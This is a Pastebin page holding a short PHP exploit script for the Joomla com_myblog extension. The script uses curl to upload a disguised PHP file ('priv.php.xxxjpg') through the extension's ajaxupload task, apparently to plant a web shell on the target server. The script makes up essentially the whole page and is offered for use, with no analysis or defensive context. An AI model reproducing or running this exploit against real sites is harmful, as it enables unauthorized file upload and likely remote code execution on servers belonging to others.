SHARE
TWEET

Joomla com_myblog Exploit

jackwilder Sep 10th, 2015 783 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2. $uploadfile="priv.php.xxxjpg";
  3. $ch = curl_init("http://jembut/index.php?option=com_myblog&task=ajaxupload");
  4. curl_setopt($ch, CURLOPT_POST, true);
  5. curl_setopt($ch, CURLOPT_POSTFIELDS,
  6. array('fileToUpload'=>"@$uploadfile"));
  7. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  8. $postResult = curl_exec($ch);
  9. curl_close($ch);
  10. print "$postResult";
  11. ?>
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top